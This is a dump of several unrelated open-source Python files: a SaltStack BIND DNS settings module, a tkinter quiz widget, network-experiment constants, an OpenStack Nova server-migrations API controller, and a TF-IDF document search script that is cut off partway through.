salt://makina-states/files/etc/bind/named.conf\n local_config_template\n salt://makina-states/files/etc/bind/named.conf.local\n options_config_template\n salt://makina-states/files/etc/bind/named.conf.options'\n logging_zones_config_template\n salt://makina-states/files/etc/bind/named.conf.logging\n default_zones_config_template\n salt://makina-states/files/etc/bind/named.conf.default-zones\n zone_template\n salt://makina-states/files/etc/bind/pri_zone.zone\n loglevel\n\n default\n error\n general\n 'error\n database\n error\n config\n error\n security\n error\n resolver\n error\n xfer_in\n nfo\n xfer_out\n info\n notify\n error\n client\n error\n unmatched\n error\n queries\n error\n network\n error\n update\n info\n dispatch\n error\n lame_servers\n error\n\n '''\n @mc_states.utils.lazy_subregistry_get(__salt__, __name)\n def _settings():\n grains = __grains__\n pillar = __pillar__\n os_defaults = __salt__['grains.filter_by']({\n 'Debian': {\n 'pkgs': ['bind9',\n 'bind9utils',\n 'bind9-host'],\n 'forwarders': [],\n 'config_dir': '/etc/bind',\n 'bind_config': '/etc/bind/named.conf',\n 'acl_config': '/etc/bind/named.conf.acl',\n 'views_config': '/etc/bind/named.conf.views',\n 'servers_config': (\n '/etc/bind/named.conf.servers'),\n 'logging_config': '/etc/bind/named.conf.logging',\n 'local_config': '/etc/bind/named.conf.local',\n 'options_config': '/etc/bind/named.conf.options',\n 'key_config': '/etc/bind/named.conf.key',\n 'default_zones_config': (\n '/etc/bind/named.conf.default-zones'),\n 'cache_directory': '/var/cache/bind',\n 'named_directory': '/var/cache/bind/zones',\n 'dnssec': True,\n 'user': 'root',\n 'zuser': 'bind',\n 'group': 'bind',\n 'service_name': 'bind9',\n },\n 'RedHat': {\n 'pkgs': ['bind'],\n 'config_dir': '/etc',\n 'bind_config': '/etc/named.conf',\n 'local_config': '/etc/named.conf.local',\n 'cache_directory': '/var/named',\n 'named_directory': '/var/named/data',\n 'user': 'root',\n 'group': 'named',\n 'service_name': 'named',\n },\n },\n grain='os_family', default='Debian')\n defaults = __salt__['mc_utils.dictupdate'](\n os_defaults, {\n 'default_dnses': [],\n 'log_dir': '/var/log/named',\n \"rndc_conf\": \"/etc/rndc.conf\",\n \"rndc_key\": \"/etc/bind/rndc.key\",\n 'default_views': OrderedDict([\n ('internal', {\n 'match_clients': ['local'],\n 'recursion': 'yes',\n 'additional_from_auth': 'yes',\n 'additional_from_cache': 'yes',\n }),\n ('net', {\n 'match_clients': [\n '!local;any'],\n 'recursion': 'no',\n 'additional_from_auth': 'no',\n 'additional_from_cache': 'no',\n }),\n ]),\n 'ipv4': 'any',\n 'ipv6': 'any',\n 'loglevel': {\n 'default': 'error',\n 'general': 'error',\n 'database': 'error',\n 'config': 'error',\n 'security': 'error',\n 'resolver': 'error',\n 'xfer_in': 'info',\n 'xfer_out': 'info',\n 'notify': 'error',\n 'client': 'error',\n 'unmatched': 'error',\n 'queries': 'error',\n 'network': 'error',\n 'dnssec': 'error',\n 'update': 'info',\n 'dispatch': 'error',\n 'lame_servers': 'error',\n },\n 'mode': '640',\n 'view_defaults': {\n 'match_clients': ['any'],\n 'recursion': 'no',\n 'additional_from_auth': 'no',\n 'additional_from_cache': 'no',\n },\n 'slaves': [],\n 'ttl': '330',\n 'refresh': '300',\n 'retry': '300',\n 'expire': '2419200',\n 'minimum': '299',\n 'bind_config_template': (\n 'salt://makina-states/files/'\n 'etc/bind/named.conf'\n ),\n 'servers_config_template': (\n 'salt://makina-states/files/'\n 'etc/bind/named.conf.servers'\n ),\n 'views_config_template': (\n 'salt://makina-states/files/'\n 'etc/bind/named.conf.views'\n ),\n 'acl_config_template': (\n 'salt://makina-states/files/'\n 'etc/bind/named.conf.acl'\n ),\n 'logging_config_template': (\n 'salt://makina-states/files/'\n 'etc/bind/named.conf.logging'\n ),\n 'key_config_template': (\n 'salt://makina-states/files/'\n 'etc/bind/named.conf.key'\n ),\n 'local_config_template': (\n 'salt://makina-states/files/'\n 'etc/bind/named.conf.local'\n ),\n 'options_config_template': (\n 'salt://makina-states/files/'\n 'etc/bind/named.conf.options'\n ),\n 'default_zones_config_template': (\n 'salt://makina-states/files/'\n 'etc/bind/named.conf.default-zones'\n ),\n 'rndc_config_template': (\n 'salt://makina-states/files/'\n 'etc/rndc.conf'\n ),\n 'zone_template': (\n 'salt://makina-states/files/'\n 'etc/bind/pri_zone.zone'),\n #\n 'keys': OrderedDict(),\n 'servers': OrderedDict(),\n #\n 'views': OrderedDict(),\n #\n 'acls': OrderedDict([\n ('local', {\n 'clients': ['127.0.0.1', '::1',\n \"192.168.0.0/16\", \"10.0.0.0/8\"],\n }),\n ]),\n #\n 'zones': OrderedDict(),\n }\n )\n defaults['extra_dirs'] = [\n '{0}/zones/master'.format(\n defaults['config_dir']),\n '{0}/zones/slave'.format(\n defaults['config_dir']),\n ]\n data = __salt__['mc_utils.defaults'](\n 'makina-states.services.dns.bind', defaults)\n # lighten the data dict for memory purpose\n data['zones'] = [a for a in data['zones']]\n views = [a for a in data['views']]\n data['views'] = []\n for a in views + [b for b in data['default_views']]:\n if a not in data['views']:\n data['views'].append(a)\n for k in data:\n if (\n k.startswith('zones.')\n or k.startswith('views.')\n ):\n del data[k]\n for k in [a for a in data['servers']]:\n adata = data['servers'][k]\n adata.setdefault('keys', [])\n for k in [a for a in data['acls']]:\n adata = data['acls'][k]\n adata.setdefault('clients', 'any')\n for k in [a for a in data['keys']]:\n kdata = data['keys'][k]\n kdata.setdefault('algorithm', 'HMAC-MD5')\n kdata['secret'] = kdata['secret'].strip()\n if 'secret' not in kdata:\n raise ValueError(\n 'no secret for {0}'.format(k))\n for i in ['127.0.0.1', '8.8.8.8', '4.4.4.4']:\n if not i in data['default_dnses']:\n data['default_dnses'].append(i)\n data['default_dnses'] = __salt__['mc_utils.uniquify'](data['default_dnses'])\n return data\n return _settings()\n\n\ndef _generate_rndc():\n data = ''\n return data\n\n\ndef cached_zone_headers():\n '''\n Store a cached but much small memory footprint version\n of all zones data for quickier access to construct\n views in main bind configuration.\n Those keys are enabled:\n\n - views\n - server_type\n - fqdn\n - masters\n - slaves\n - fpath\n - template\n - source\n '''\n keys = ['views', 'server_type', 'template', 'source',\n 'zoneid', 'fqdn', 'fpath']\n zpref = 'makina-states.services.dns.bind.zones'\n @mc_states.utils.lazy_subregistry_get(__salt__, zpref)\n def _settings():\n zones = __salt__['mc_utils.defaults'](zpref, {})\n data = {}\n for zone in zones:\n zdata = get_zone(zone)\n czdata = data.setdefault(zone, {})\n for a in keys:\n czdata[a] = zdata[a]\n return data\n data = _settings()\n for k in ['reg_func_name', 'reg_kind']:\n data.pop(k, '')\n return data\n\n\ndef get_view(view):\n '''Get the mapping describing a bind view\n\n zones\n light mapping containing zone headers to feed the\n views configuration file.\n See cached_zone_headers\n match_clients\n [any]\n recursion\n no\n additional_from_auth\n no\n additional_from_cache\n no\n\n '''\n pref = 'makina-states.services.dns.bind.views.{0}'\n _defaults = settings()\n if view in ['net', 'internal']:\n vdefaults = _defaults['default_views'][view]\n else:\n vdefaults = copy.deepcopy(_defaults['view_defaults'])\n zones = vdefaults.setdefault('zones', {})\n for z, data in cached_zone_headers().items():\n if view in data['views']:\n zones[z] = data\n vdata = __salt__['mc_utils.get'](pref.format(view), vdefaults)\n return vdata\n\n\ndef get_zone(zone):\n '''Get the mapping describing a bind zone\n\n views\n list of views to enable this zone in\n serial\n zone serial\n server_type\n one of master/slave\n ttl\n TTL of soa\n fqdn\n zone FQDN\n soa_ns\n zone main nameserver (ns.{fqdn})\n soa_contact\n soa contact (sysadmin.{fqdn})\n refresh\n refresh(300)\n retry\n retry(60)\n expire\n expire ()\n minimum\n minimum (300)\n notify\n notify\n (true in mastermode and false if slave)\n rrs\n records for the zone in mastermode.\n This list list of records of the zone is in bind\n syntax\n slaves\n list of slaves to allow transfer to in master mode\n masters\n list of master to get zones from in slave mode\n allow_transfer\n list of transfer items\n allow_query\n list of query items\n allow_update\n list of update items\n '''\n pref = 'makina-states.services.dns.bind.zones.{0}'\n defaults = settings()\n zdata = __salt__['mc_utils.defaults'](\n pref.format(zone), {\n 'views': [],\n 'server_type': 'master',\n 'ttl': defaults['ttl'],\n 'fqdn': zone,\n 'soa_ns': 'ns.{fqdn}.',\n 'soa_contact': 'sysadmin.{fqdn}.',\n 'serial': '0000000001',\n 'refresh': defaults['refresh'],\n 'retry': defaults['retry'],\n 'expire': defaults['expire'],\n 'minimum': defaults['minimum'],\n 'notify': None,\n 'rrs': None,\n 'source': None,\n 'allow_query': ['any'],\n 'allow_transfer': [],\n 'allow_update': [],\n 'slaves': defaults['slaves'],\n 'masters': []})\n zdata['zoneid'] = zone\n views = zdata['views']\n if zdata['server_type'] not in ['master', 'slave']:\n raise ValueError('invalid {0} type for {1}'.format(\n zdata['server_type', zone]))\n if not views:\n for v in defaults['default_views']:\n if not v in views:\n views.append(v)\n zdata.setdefault('template', True)\n if (\n zdata['server_type'] == 'master'\n and zdata['notify'] is None\n ):\n zdata['notify'] = True\n if zdata['slaves']:\n for slv in zdata['slaves']:\n if not slv in zdata[\"allow_transfer\"]:\n zdata[\"allow_transfer\"].append(slv)\n if (\n zdata['server_type'] == 'slave'\n and zdata['notify'] is None\n ):\n zdata['notify'] = False\n if not zdata['rrs']:\n zdata['rrs'] = ''\n if zdata['server_type'] == 'master':\n if zdata['source'] is None:\n zdata['source'] = defaults['zone_template']\n if (\n zdata['server_type'] == 'slave'\n and zdata['template']\n and 'masters' not in zdata\n ):\n raise ValueError('no masters for {0}'.format(zone))\n zdata.setdefault('fpath',\n '{2}/zones/{0}/{1}.conf'.format(\n zdata['server_type'],\n zdata['fqdn'],\n defaults['config_dir']))\n zdata = __salt__['mc_utils.format_resolve'](zdata)\n return zdata\n\n\ndef dump():\n return mc_states.utils.dump(__salt__,__name)\n\n#\n","repo_name":"jpcw/makina-states","sub_path":"mc_states/modules/mc_bind.py","file_name":"mc_bind.py","file_ext":"py","file_size_in_byte":17140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1010168793","text":"import tkinter as tk\r\nfrom tkinter import ttk\r\n\r\n\r\nclass Question(tk.Frame):\r\n def __init__(self, master, question, controller, number=1):\r\n super().__init__(master)\r\n self.root = master\r\n self.controller = controller\r\n\r\n\r\n frm = ttk.Frame(self.root, padding=10)\r\n frm.grid()\r\n ### Question ###\r\n ttk.Label(frm, text=f'Question: {question}').grid(column=0, row=0)\r\n\r\n ### Sacle bar ###\r\n bar_frm = ttk.Frame(frm, padding=10)\r\n bar_frm.grid()\r\n bar_frm.grid(column=0, row=1)\r\n ttk.Label(bar_frm, text='No').grid(column=0, row=0)\r\n self.scale = ttk.Scale(bar_frm, value=0, from_=-1)\r\n self.scale.grid(column=1, row=0)\r\n ttk.Label(bar_frm, text='Yes').grid(column=2, row=0)\r\n\r\n ### Confirmation ###\r\n ttk.Button(frm, text='Next Question', command=self.destroy_question).grid(column=0, row=2)\r\n\r\n self.frm = frm\r\n \r\n\r\n def send_answer(self, answer) -> None:\r\n self.controller.receive_answer(answer)\r\n\r\n def destroy_question(self):\r\n self.send_answer(self.scale.get())\r\n self.frm.quit()\r\n self.frm.destroy()\r\n\r\nif __name__ == '__main__':\r\n root = tk.Tk()\r\n root.title('knowlege Based System')\r\n myapp = Question(root, 'The animal that you are thinking of has hair?')\r\n myapp.mainloop()","repo_name":"ricardo462/Knowlege-Based-System","sub_path":"python/GUI/Question.py","file_name":"Question.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5783455512","text":"CLUSTER_MODE = \"CLUSTER\"\nNORMAL_MODE = \"NORMAL\"\nIP_MODE = \"IP\"\n\nRUN_ON_CLIENT = \"client\"\nRUN_ON_SERVER = \"server\"\n\nCX5 = \"cx5\"\n\nBPS_TO_GBPS = 0.000000001\n\n# Note: Both the client and the server should have the same location to store logs\nTEMP_LOG_LOCATION = \"/tmp\"\nTCPDUMP_LOCATION = \"/mydata\"\n\n# Generic Log Names in template json\nTXRX_LOG = \"txrx_log\"\nTCPDUMP_LOG = \"tcpdump\"\nCPU_UTIL_LOG = \"cpu_util\"\nINTERRUPT_LOG = \"interrupts\"\nQDISC_LOG = \"qdisc_log\"\nFILTER_LOG = \"filter_log\"\n\n# Generic Log IDs\nEXPERIMENT_DETAILS_LOG_ID = \"experiment-details\"\nCLIENT_TXRX_LOG_ID = \"txrx-client\"\nSERVER_TXRX_LOG_ID = \"txrx-server\"\nCLIENT_TCPDUMP_LOG_ID = \"tcpdump-client\"\n\nJSON = \"json\"\nCSV = \"csv\"\nREPORT = \"report\"\nPCAP = \"pcap\"\nTXT = \"txt\"\n\n# Iperf\nIPERF_SERVER_PORT = 5100\nIPERF_CLIENT_PORT = 5100 \nIPERF_SERVER_LOG_ID = \"iperf-server\"\nIPERF_CLIENT_LOG_ID = \"iperf-client\"\n\n# Memcached\n# Ports will start at 11211+1 = 11212\nMEMCACHED_SERVER_PORT = 11211\nMEMCACHED_CLIENT_LOG_ID = \"memcached-client\"\nMEMCACHED_THREAD_COUNT = 1\nMEMCACHED_CONNECTION_COUNT = 30\nMEMCACHED_REQUEST_COUNT = 10000\n\n# HiBench\nHIBENCH_LOG_ID = \"hibench-workload\"\n\n# Sockperf\nSOCKPERF_SERVER_PORT = 6100 \nSOCKPERF_SERVER_LOG_ID = \"sockperf-server\"\nSOCKPERF_CLIENT_LOG_ID = \"sockperf-client\"\nSOCKPERF_IPPORT_LIST_FILENAME = \"sockperf_ipport_list\"\nSOCKPERF_THROUGHPUT = \"throughput\"\nSOCKPERF_LATENCY_UNDER_LOAD = \"under-load\"\nSOCKPERF_LATENCY_PING_PONG = \"ping-pong\"\n","repo_name":"ucsdsysnet/sandia-experiment","sub_path":"workloads/constant.py","file_name":"constant.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10288438861","text":"s=0\r\nwhile True:\r\n Gia=input('Nhập giá (hoặc bỏ trống để kết thúc):')\r\n if not Gia:\r\n break\r\n floatGia=float(Gia)\r\n SoTien=floatGia*100\r\n SoDu=SoTien%5\r\n if SoDu<2.5:\r\n SoTien=SoTien-SoDu \r\n else:\r\n SoTien=SoTien+(5-SoDu)\r\n s=s+SoTien\r\nprint('So tien phai thanh toan bang tien mat:',s)","repo_name":"hoangliem45k14/CSLT1","sub_path":"Exercise64.py","file_name":"Exercise64.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28560242267","text":"from webob import exc\n\nfrom nova.api.openstack import common\nfrom nova.api.openstack.compute.schemas import server_migrations\nfrom nova.api.openstack import extensions\nfrom nova.api.openstack import wsgi\nfrom nova.api import validation\nfrom nova import compute\nfrom nova import exception\nfrom nova.i18n import _\n\n\nALIAS = 'servers:migrations'\nauthorize = extensions.os_compute_authorizer(ALIAS)\n\n\ndef output(migration):\n \"\"\"Returns the desired output of the API from an object.\n\n From a Migrations's object this method returns the primitive\n object with the only necessary and expected fields.\n \"\"\"\n return {\n \"created_at\": migration.created_at,\n \"dest_compute\": migration.dest_compute,\n \"dest_host\": migration.dest_host,\n \"dest_node\": migration.dest_node,\n \"disk_processed_bytes\": migration.disk_processed,\n \"disk_remaining_bytes\": migration.disk_remaining,\n \"disk_total_bytes\": migration.disk_total,\n \"id\": migration.id,\n \"memory_processed_bytes\": migration.memory_processed,\n \"memory_remaining_bytes\": migration.memory_remaining,\n \"memory_total_bytes\": migration.memory_total,\n \"server_uuid\": migration.instance_uuid,\n \"source_compute\": migration.source_compute,\n \"source_node\": migration.source_node,\n \"status\": migration.status,\n \"updated_at\": migration.updated_at\n }\n\n\nclass ServerMigrationsController(wsgi.Controller):\n \"\"\"The server migrations API controller for the OpenStack API.\"\"\"\n\n def __init__(self):\n self.compute_api = compute.API(skip_policy_check=True)\n super(ServerMigrationsController, self).__init__()\n\n @wsgi.Controller.api_version(\"2.22\")\n @wsgi.response(202)\n @extensions.expected_errors((400, 403, 404, 409))\n @wsgi.action('force_complete')\n @validation.schema(server_migrations.force_complete)\n def _force_complete(self, req, id, server_id, body):\n context = req.environ['nova.context']\n authorize(context, action='force_complete')\n\n instance = common.get_instance(self.compute_api, context, server_id)\n try:\n self.compute_api.live_migrate_force_complete(context, instance, id)\n except exception.InstanceNotFound as e:\n raise exc.HTTPNotFound(explanation=e.format_message())\n except (exception.MigrationNotFoundByStatus,\n exception.InvalidMigrationState,\n exception.MigrationNotFoundForInstance) as e:\n raise exc.HTTPBadRequest(explanation=e.format_message())\n except exception.InstanceIsLocked as e:\n raise exc.HTTPConflict(explanation=e.format_message())\n except exception.InstanceInvalidState as state_error:\n common.raise_http_conflict_for_instance_invalid_state(\n state_error, 'force_complete', server_id)\n\n @wsgi.Controller.api_version(\"2.23\")\n @extensions.expected_errors(404)\n def index(self, req, server_id):\n \"\"\"Return all migrations of an instance in progress.\"\"\"\n context = req.environ['nova.context']\n authorize(context, action=\"index\")\n\n # NOTE(Shaohe Feng) just check the instance is available. To keep\n # consistency with other API, check it before get migrations.\n common.get_instance(self.compute_api, context, server_id)\n\n migrations = self.compute_api.get_migrations_in_progress_by_instance(\n context, server_id, 'live-migration')\n\n return {'migrations': [output(migration) for migration in migrations]}\n\n @wsgi.Controller.api_version(\"2.23\")\n @extensions.expected_errors(404)\n def show(self, req, server_id, id):\n \"\"\"Return the migration of an instance in progress by id.\"\"\"\n context = req.environ['nova.context']\n authorize(context, action=\"show\")\n\n # NOTE(Shaohe Feng) just check the instance is available. To keep\n # consistency with other API, check it before get migrations.\n common.get_instance(self.compute_api, context, server_id)\n\n try:\n migration = self.compute_api.get_migration_by_id_and_instance(\n context, id, server_id)\n except exception.MigrationNotFoundForInstance:\n msg = _(\"In-progress live migration %(id)s is not found for\"\n \" server %(uuid)s.\") % {\"id\": id, \"uuid\": server_id}\n raise exc.HTTPNotFound(explanation=msg)\n\n if migration.get(\"migration_type\") != \"live-migration\":\n msg = _(\"Migration %(id)s for server %(uuid)s is not\"\n \" live-migration.\") % {\"id\": id, \"uuid\": server_id}\n raise exc.HTTPNotFound(explanation=msg)\n\n # TODO(Shaohe Feng) we should share the in-progress list.\n in_progress = ['queued', 'preparing', 'running', 'post-migrating']\n if migration.get(\"status\") not in in_progress:\n msg = _(\"Live migration %(id)s for server %(uuid)s is not in\"\n \" progress.\") % {\"id\": id, \"uuid\": server_id}\n raise exc.HTTPNotFound(explanation=msg)\n\n return {'migration': output(migration)}\n\n @wsgi.Controller.api_version(\"2.24\")\n @wsgi.response(202)\n @extensions.expected_errors((400, 404, 409))\n def delete(self, req, server_id, id):\n \"\"\"Abort an in progress migration of an instance.\"\"\"\n context = req.environ['nova.context']\n authorize(context, action=\"delete\")\n\n instance = common.get_instance(self.compute_api, context, server_id)\n try:\n self.compute_api.live_migrate_abort(context, instance, id)\n except exception.InstanceInvalidState as state_error:\n common.raise_http_conflict_for_instance_invalid_state(\n state_error, \"abort live migration\", server_id)\n except exception.MigrationNotFoundForInstance as e:\n raise exc.HTTPNotFound(explanation=e.format_message())\n except exception.InvalidMigrationState as e:\n raise exc.HTTPBadRequest(explanation=e.format_message())\n\n\nclass ServerMigrations(extensions.V21APIExtensionBase):\n \"\"\"Server Migrations API.\"\"\"\n name = \"ServerMigrations\"\n alias = 'server-migrations'\n version = 1\n\n def get_resources(self):\n parent = {'member_name': 'server',\n 'collection_name': 'servers'}\n member_actions = {'action': 'POST'}\n resources = [extensions.ResourceExtension(\n 'migrations', ServerMigrationsController(),\n parent=parent, member_actions=member_actions)]\n return resources\n\n def get_controller_extensions(self):\n return []\n","repo_name":"BU-NU-CLOUD-SP16/Trusted-Platform-Module-nova","sub_path":"nova/api/openstack/compute/server_migrations.py","file_name":"server_migrations.py","file_ext":"py","file_size_in_byte":6621,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"38138078720","text":"#Coded by Daksh Jain\n\"\"\"\nThis code uses the term frequency vector of a document and compares it with a query's term frequency vector and returns the closest document vectors in a query search\n\"\"\"\n\nimport math\n#Constants\nTERM_VECTOR = 0\nFILENAME = 1\nURL = 2\nAUTHOR = 3\nTITLE = 4\n\ndef makeDocument(tfVector,filename='',url='',author='',title=''):\n \"\"\"\n makeDocument takes up to five parameters and returns an ordered list of Term Frequency Vector, the file name, the url, the name of the author, and the title.\n If no parameters are given, an empty string is returned.\n Input: Up to five parameters, tfVector, filename, url, author, title\n Output: Input returned as a list\n \"\"\"\n return [tfVector,filename,url,author,title]\n\ndef makeDocsFromFileList(listOfFileNames):\n \"\"\"\n makeDocsFromFileList takes a list of file names as its parameter and returns a list of multiple document objects for each file\n Input: One parameter, A list of file names\n Output: A list of the file's document objects\n \"\"\"\n documentList = []\n for fileName in listOfFileNames:\n documentList.append(makeDocFromFile(fileName))\n return documentList\n\ndef makeDocFromFile1(fileName):\n \"\"\"\n makeDocFromFile takes a file name, opens it, reads the preamble containing the url, author, and title for that file. Then it gets the word list from the file, creates a Term Frequency Vector for the file, and creates a document object representation of the file.\n Input: One parameter, a file name\n Output: Document Object for a file\n \"\"\"\n file = openFile(fileName)\n url = file.readline().replace('\\n','')\n author = file.readline().replace('\\n','')\n title = file.readline().replace('\\n','')\n words = getWordListFromFile(file)\n tfv = makeTermFrequencyVector(words)\n return makeDocument(tfv, fileName, url, author, title)\n\ndef getWordListFromFile1(file):\n \"\"\"\n getWordListFromFile reads a file into a string, removing dashes and punctuation, splitting the string into words based on white space, puts all letters in lowercase, and returns the resulting word list.\n Input: One parameter, an open file object\n Output: A word list\n \"\"\"\n words = file.read()\n words = removeDashes(words)\n words = removePunctuation(words)\n return words.lower().split()\n\ndef openFile(fileName):\n \"\"\"\n openFile takes a local file name as a parameter and returns the file object for that file\n Input: a file name\n Output: a file object\n \"\"\"\n file = open(fileName, \"r\")\n return file #No Test Required\n\ndef removePunctuation(inputstring):\n \"\"\"\n removePunctuation removes all punctuation and special characters from a string, except sashes.\n Input: One parameter, a string\n Output: A string without punctuation\n \"\"\"\n for elt in \"!'#$%&()*+,./:;<=>?@[\\]^_`{|}~\":\n inputstring = inputstring.replace(elt,'')\n return inputstring\n\ndef removeDashes(inputstring):\n \"\"\"\n removeDashes removes all dashes except for hyphens(dashes not surrounded by alphanumeric characters)\n Input: One parameter, a string\n Output: a string not containing dashes\n \"\"\"\n for elt in ['-\\n ',' -\\n','-\\n','\\n-','--', '- ', ' -']:\n inputstring = inputstring.replace(elt, '')\n return inputstring\n\ndef makeTermFrequencyVector(listOfWords):\n \"\"\"\n makeTermFrequencyVector takes a list of words and returns a dictionary that represents the term frequency vector of that word list. The words represent the keys and values represent how frequently the words occur in the document.\n Input: One parameter, a list of words\n Output: A dictionary (Term Frequency Vector)\n \"\"\"\n if not listOfWords:\n return {}\n frequencyDictionary = {}\n for word in listOfWords:\n if word in frequencyDictionary:\n frequencyDictionary[word] += 1\n else:\n frequencyDictionary[word] = 1\n return frequencyDictionary\n\ndef extendVectors(tfv1,tfv2):\n \"\"\"\n extendVectors takes two dictionary and modifies them to be the same length by adding values of zero to words that occur in one dictionary but not the other.\n Input: Two parameters, two dictionaries with varied lengths\n Output: Two dictionaries with the same lengths\n \"\"\"\n for word in tfv1:\n if not(word in tfv2):\n tfv2[word] = 0\n for word in tfv2:\n if not(word in tfv1):\n tfv1[word] = 0\n\ndef extendAllVectors(listOfDocuments):\n \"\"\"\n extendAllVectors takes a list of documents and extends each term frequency vector to the same length by giving zero values to words that occur in the overall vocabulary of the all the documents but not the specific document that is given.\n Input: One parameter, a list of documents\n Output: List of documents with extended term frequency vectors\n \"\"\"\n for elt in listOfDocuments:\n extendVectors(listOfDocuments[0][TERM_VECTOR],elt[TERM_VECTOR])\n for index in range(len(listOfDocuments)):\n extendVectors(listOfDocuments[0][TERM_VECTOR],listOfDocuments[index][TERM_VECTOR])\n return listOfDocuments\n\ndef computeSimilarity(weight1,weight2):\n \"\"\"\n computeSumularity takes two weight vectors, which are represented by dictionaries, and returns a float computed as the cosine distance between the two tf-idf vectors represented by the dictionaries.\n Input: Two parameters, two weight vectors\n Output: A float (the cosine distance)\n \"\"\"\n normSum1, normSum2, totalVal = 0, 0, 0\n for word in weight1:\n normSum1 += (weight1[word])**2\n normSum2 += (weight2[word])**2\n totalVal += weight1[word]*weight2[word]\n norm1 = normSum1**(1/2)\n norm2 = normSum2**(1/2)\n if norm1 == 0 or norm2 == 0: #Need this case because you cannot divide by 0\n return 0\n return float((totalVal)/(norm1*norm2))\n\ndef computeIDFforEachTerm(documentList):\n \"\"\"\n computeIDFforEachTerm takes a document list and computes the IDF for each term.\n Input: One parameter, a document list\n Output: A dictionary containing the IDF for each term\n \"\"\"\n IDFVector = {}\n NumOfDocs = len(documentList)\n for term in documentList[0][TERM_VECTOR]:\n idfFactor = 0\n for document in documentList:\n if document[TERM_VECTOR][term] != 0:\n idfFactor+=1\n IDFVector[term] = math.log(NumOfDocs/idfFactor,10)\n return IDFVector\n\ndef applyIDFtoVector(docTFV,idfVector):\n \"\"\"\n applyIDFtoVector takes a document’s term frequency vector and the idf factor vector for all documents, and then converts the term frequency vector to an tf-idf vector.\n Input: One parameter, a document’s term frequency vector\n Output: tf-idf vector or weight vector\n \"\"\"\n for term in idfVector:\n docTFV[term] = docTFV[term]*idfVector[term]\n\ndef getQueryWordListFromUser():\n \"\"\"\n getQueryWordListFromUser prompts the user for a query and returns a list of all the words in the query.\n Input: None given to the function (from the user, either a set of words or a single line)\n Output: A list of the words\n \"\"\"\n query = input('What would you like to search for?\\n')\n return query.lower().split()\n\ndef makeQueryTFVector(listOfQuery):\n \"\"\"\n makeQueryTFVector takes a list of words and returns a dictionary representing its term frequency vector.\n Input: One parameter, a list of words\n Output: A dictionary representation of its term frequency vector\n \"\"\"\n return makeTermFrequencyVector(listOfQuery)\n\ndef makeDocDistanceTuples(documentList, tfvQuery): #Find out what the 2nd and 3rd parameter should be set to and how?\n \"\"\"\n makeDocDistanceTuples takes the dictionary storing the weight frequency vector for a user query and also a document list and returns a list of tuples of the form (document,distance) where distance is a computed distance between the document and the user query based on their weight frequency vectors.\n Input: Two parameters, dictionary of a weight frequency vector for a user query and a document list storing the weight vectors of each document\n Output: list of tuples that includes the document and its computed distance\n \"\"\"\n docTupleList = []\n for document in documentList:\n docTupleList.append((document,computeSimilarity(document[0],tfvQuery)))\n return docTupleList\n\ndef getNclosestDocs(numOfDocs,listOfDocumentTuples):\n \"\"\"\n getNclosestDocs takes a number that indicates the desired number of reported closely related documents to the query and a list of tuples, and returns the indicated number of top closest related documents.\n Input: Two parameters, An integer of desired number of closest documents and a list of tuples in the format (document, distance)\n Output: a list containing the desired number of closest documents\n \"\"\"\n sortedDocumentTuples = mergeSortTuples(listOfDocumentTuples)\n returnList = []\n for tuple in sortedDocumentTuples:\n returnList.append(tuple[0])\n return returnList[:numOfDocs]\n\ndef displayResults(queryList,documentList,numOfDocs):\n \"\"\"\n displayResults takes a list of query words, a document list, and number of results and prints the query\nI Input:a list of query words, a document list, and number of results\n Output: the desired number of documents in a list going from most relevance to least relevance down the list\n \"\"\"\n tfvQuery = makeQueryTFVector(queryList)\n docListWeights, queryWeight = weightVectors(documentList, tfvQuery)\n tupleList = makeDocDistanceTuples(docListWeights, queryWeight)\n print(tupleList)\n documentList = getNclosestDocs(numOfDocs, tupleList)\n querySearch = ' '.join(queryList)\n print('User query:', querySearch)\n count = 1\n print('Closest Documents:','\\n')\n for doc in documentList:\n print('Result',count,end=' ')\n print('Cosine Similarity:',float(tupleList[count-1][1]))\n print('File Name:',doc[FILENAME])\n print('url:',doc[URL])\n print('Author:', doc[AUTHOR])\n print('Title:', doc[TITLE],'\\n')\n count+=1\n\n\ndef processUserRequest(documentList):\n \"\"\"\n processUserRequest takes a list of documents, a query word list from the user, and a number of closest related documents to return. It retrieves from the user and processes the query, returning the correct number of closest related documents. It also prints the results from the search for the user to see.\n Input: a list of documents, a query word list from the user, and a number of desired results\n Output: returns the correct number of closest related documents\n\n \"\"\"\n queryWordList = getQueryWordListFromUser()\n numOfDocs = int(input('How many documents to retrieve?\\n'))\n return displayResults(queryWordList,documentList,numOfDocs)\n\n##################\n#HELPER FUNCTIONS#\n##################\ndef weightVectors(documentList,tfvQuery):\n \"\"\"\n weightVectors takes a list of documents and the term frequency vector for the query and returns the weight vectors of all the vectors of the documents and the query by computing idf of each term and then carrying out the tf-idf calculations\n Input: a document list storing all the term frequency vectors of each document and the query's term frequency vector\n Output: the document list containing all the weight vectors of the documents and the weight vector of the query\n \"\"\"\n documentList = extendAllVectors(documentList)\n idfVector = computeIDFforEachTerm(documentList)\n documentList.append([tfvQuery])\n documentList = extendAllVectors(documentList)\n documentList[-1:] = []\n for document in documentList:\n applyIDFtoVector(document[TERM_VECTOR],idfVector)\n applyIDFtoVector(tfvQuery,idfVector)\n return documentList, tfvQuery\n\ndef merge(alist,blist):\n \"\"\"\n merge returns the sorted list of distance values for the tuples, but in decreasing magnitude instead of increasing\n Input: two lists of tuples\n Output: a combined list of tuples with decreasing magnitude in the distance\n \"\"\"\n finalList = []\n indexA, indexB = 0,0\n while indexA < len(alist) and indexB < len(blist):\n if alist[indexA][1] > blist[indexB][1]:\n finalList.append(alist[indexA])\n indexA+=1\n else:\n finalList.append(blist[indexB])\n indexB+=1\n finalList += alist[indexA:] + blist[indexB:]\n return finalList\n\ndef mergeSortTuples(alist):\n \"\"\"\n mergeSortTuples takes a list of tuples storing the (document, distance) and returns the ordered list of all the tuples\n Input: list of document tuples with (document, distance)\n Output: the sorted list of tuples in decreasing order\n \"\"\"\n if len(alist) < 